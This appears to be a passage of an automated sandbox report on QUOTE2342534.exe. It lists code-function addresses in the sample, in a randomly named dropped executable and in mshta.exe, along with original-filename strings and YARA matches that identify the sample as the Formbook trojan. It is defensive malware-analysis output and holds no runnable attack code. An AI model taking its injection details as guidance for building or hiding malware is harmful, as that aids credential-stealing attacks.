Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E3F0	4_2_0173E3F0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F03E6	4_2_017F03E6
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B02C0	4_2_017B02C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730535	4_2_01730535
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F0591	4_2_017F0591
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E2446	4_2_017E2446
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D4420	4_2_017D4420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DE4F6	4_2_017DE4F6
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01754750	4_2_01754750
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172C7C0	4_2_0172C7C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174C6E0	4_2_0174C6E0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01746962	4_2_01746962
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017329A0	4_2_017329A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017FA9A6	4_2_017FA9A6
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173A840	4_2_0173A840
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01732840	4_2_01732840
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E8F0	4_2_0175E8F0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017168B8	4_2_017168B8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EAB40	4_2_017EAB40
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E6BD7	4_2_017E6BD7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172EA80	4_2_0172EA80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CCD1F	4_2_017CCD1F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173AD00	4_2_0173AD00
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172ADE0	4_2_0172ADE0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01748DBF	4_2_01748DBF
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730C00	4_2_01730C00
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720CF2	4_2_01720CF2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0CB5	4_2_017D0CB5
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A4F40	4_2_017A4F40
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01750F30	4_2_01750F30
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D2F30	4_2_017D2F30
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01772F28	4_2_01772F28
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173CFE0	4_2_0173CFE0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01722FC8	4_2_01722FC8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AEFA0	4_2_017AEFA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730E59	4_2_01730E59
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EEE26	4_2_017EEE26
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EEEDB	4_2_017EEEDB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01742E90	4_2_01742E90
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017ECE93	4_2_017ECE93
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171F172	4_2_0171F172
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017FB16B	4_2_017FB16B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0176516C	4_2_0176516C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173B1B0	4_2_0173B1B0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E70E9	4_2_017E70E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EF0E0	4_2_017EF0E0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DF0CC	4_2_017DF0CC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017370C0	4_2_017370C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171D34C	4_2_0171D34C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E132D	4_2_017E132D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0177739A	4_2_0177739A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D12ED	4_2_017D12ED
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174B2C0	4_2_0174B2C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017352A0	4_2_017352A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E7571	4_2_017E7571
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CD5B0	4_2_017CD5B0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01721460	4_2_01721460
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EF43F	4_2_017EF43F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EF7B0	4_2_017EF7B0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01775630	4_2_01775630
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E16CC	4_2_017E16CC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01739950	4_2_01739950
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174B950	4_2_0174B950
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C5910	4_2_017C5910
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179D800	4_2_0179D800
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017338E0	4_2_017338E0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EFB76	4_2_017EFB76
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A5BF0	4_2_017A5BF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0176DBF9	4_2_0176DBF9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174FB80	4_2_0174FB80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A3A6C	4_2_017A3A6C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EFA49	4_2_017EFA49
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E7A46	4_2_017E7A46
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DDAC6	4_2_017DDAC6
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CDAAC	4_2_017CDAAC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01775AA0	4_2_01775AA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D1AA3	4_2_017D1AA3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E7D73	4_2_017E7D73
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E1D5A	4_2_017E1D5A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01733D40	4_2_01733D40
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174FDC0	4_2_0174FDC0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A9C32	4_2_017A9C32
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EFCF2	4_2_017EFCF2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EFF09	4_2_017EFF09
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EFFB1	4_2_017EFFB1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01731F92	4_2_01731F92
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01739EB0	4_2_01739EB0
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_041AB58A	7_2_041AB58A
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_04194FCA	7_2_04194FCA
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_0418C8FA	7_2_0418C8FA
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_0418C8F5	7_2_0418C8F5
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_041931BA	7_2_041931BA
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_0418CB1A	7_2_0418CB1A
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_0418AB9A	7_2_0418AB9A
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0385E3F0	8_2_0385E3F0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_039103E6	8_2_039103E6
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390A352	8_2_0390A352
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038D02C0	8_2_038D02C0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038F0274	8_2_038F0274
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_039041A2	8_2_039041A2
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_039101AA	8_2_039101AA
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_039081CC	8_2_039081CC
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03840100	8_2_03840100
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038EA118	8_2_038EA118
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038D8158	8_2_038D8158
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038E2000	8_2_038E2000
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0384C7C0	8_2_0384C7C0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03874750	8_2_03874750
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03850770	8_2_03850770
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0386C6E0	8_2_0386C6E0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03910591	8_2_03910591
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03850535	8_2_03850535
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038FE4F6	8_2_038FE4F6
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038F4420	8_2_038F4420
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03902446	8_2_03902446
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03906BD7	8_2_03906BD7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390AB40	8_2_0390AB40
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0384EA80	8_2_0384EA80
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038529A0	8_2_038529A0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0391A9A6	8_2_0391A9A6
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03866962	8_2_03866962
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038368B8	8_2_038368B8
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0387E8F0	8_2_0387E8F0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03852840	8_2_03852840
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0385A840	8_2_0385A840
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038CEFA0	8_2_038CEFA0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03842FC8	8_2_03842FC8
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0385CFE0	8_2_0385CFE0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03892F28	8_2_03892F28
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03870F30	8_2_03870F30
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038F2F30	8_2_038F2F30
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038C4F40	8_2_038C4F40
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390CE93	8_2_0390CE93
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03862E90	8_2_03862E90
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390EEDB	8_2_0390EEDB
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390EE26	8_2_0390EE26
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03850E59	8_2_03850E59
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03868DBF	8_2_03868DBF
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0384ADE0	8_2_0384ADE0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0385AD00	8_2_0385AD00
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038ECD1F	8_2_038ECD1F
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038F0CB5	8_2_038F0CB5
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03840CF2	8_2_03840CF2
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03850C00	8_2_03850C00
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0389739A	8_2_0389739A
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390132D	8_2_0390132D
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0383D34C	8_2_0383D34C
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038552A0	8_2_038552A0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0386B2C0	8_2_0386B2C0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038F12ED	8_2_038F12ED
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0385B1B0	8_2_0385B1B0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0388516C	8_2_0388516C
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0383F172	8_2_0383F172
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0391B16B	8_2_0391B16B
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038FF0CC	8_2_038FF0CC
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038570C0	8_2_038570C0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390F0E0	8_2_0390F0E0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_039070E9	8_2_039070E9
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390F7B0	8_2_0390F7B0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_039016CC	8_2_039016CC
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038ED5B0	8_2_038ED5B0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03907571	8_2_03907571
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390F43F	8_2_0390F43F
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03841460	8_2_03841460
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0386FB80	8_2_0386FB80
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0388DBF9	8_2_0388DBF9
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038C5BF0	8_2_038C5BF0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390FB76	8_2_0390FB76
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038EDAAC	8_2_038EDAAC
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03895AA0	8_2_03895AA0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038F1AA3	8_2_038F1AA3
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038FDAC6	8_2_038FDAC6
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03907A46	8_2_03907A46
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390FA49	8_2_0390FA49
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038C3A6C	8_2_038C3A6C
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038E5910	8_2_038E5910
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03859950	8_2_03859950
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0386B950	8_2_0386B950
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038538E0	8_2_038538E0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038BD800	8_2_038BD800
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03851F92	8_2_03851F92
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390FFB1	8_2_0390FFB1
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03813FD2	8_2_03813FD2
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03813FD5	8_2_03813FD5
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390FF09	8_2_0390FF09
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03859EB0	8_2_03859EB0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0386FDC0	8_2_0386FDC0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03853D40	8_2_03853D40
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03901D5A	8_2_03901D5A
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03907D73	8_2_03907D73
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0390FCF2	8_2_0390FCF2
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038C9C32	8_2_038C9C32
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F31B20	8_2_02F31B20
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F2CAA0	8_2_02F2CAA0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F2CA9B	8_2_02F2CA9B
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F2CCC0	8_2_02F2CCC0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F2AD40	8_2_02F2AD40
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F33360	8_2_02F33360
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F35170	8_2_02F35170
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F4B730	8_2_02F4B730
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03B6E374	8_2_03B6E374
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03B6E5FB	8_2_03B6E5FB
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03B6E493	8_2_03B6E493
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03B6CB2D	8_2_03B6CB2D
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03B6D898	8_2_03B6D898
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03B6E82D	8_2_03B6E82D

Source: C:\Windows\SysWOW64\mshta.exe	Code function: String function: 0383B970 appears 280 times
Source: C:\Windows\SysWOW64\mshta.exe	Code function: String function: 038CF290 appears 105 times
Source: C:\Windows\SysWOW64\mshta.exe	Code function: String function: 03885130 appears 58 times
Source: C:\Windows\SysWOW64\mshta.exe	Code function: String function: 03897E54 appears 102 times
Source: C:\Windows\SysWOW64\mshta.exe	Code function: String function: 038BEA12 appears 86 times
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: String function: 017AF290 appears 105 times
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: String function: 01777E54 appears 103 times
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: String function: 0179EA12 appears 86 times
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: String function: 0171B970 appears 280 times
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: String function: 01765130 appears 58 times

Source: QUOTE2342534.exe, 00000000.00000002.2140837926.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs QUOTE2342534.exe
Source: QUOTE2342534.exe, 00000000.00000002.2156658228.000000000B860000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs QUOTE2342534.exe
Source: QUOTE2342534.exe, 00000004.00000002.2232503719.000000000181D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTE2342534.exe
Source: QUOTE2342534.exe, 00000004.00000002.2232065125.0000000001197000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMSHTA.EXED vs QUOTE2342534.exe
Source: QUOTE2342534.exe, 00000004.00000002.2232065125.00000000011A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMSHTA.EXED vs QUOTE2342534.exe
Source: QUOTE2342534.exe	Binary or memory string: OriginalFilenameiFFZ.exe> vs QUOTE2342534.exe

Source: QUOTE2342534.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.QUOTE2342534.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4.2.QUOTE2342534.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4594417209.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2231861338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4594132519.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.4597123623.0000000004CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4592913893.0000000002F20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2232369881.0000000001620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2233350481.0000000002F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.4594398823.0000000003FD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: QUOTE2342534.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

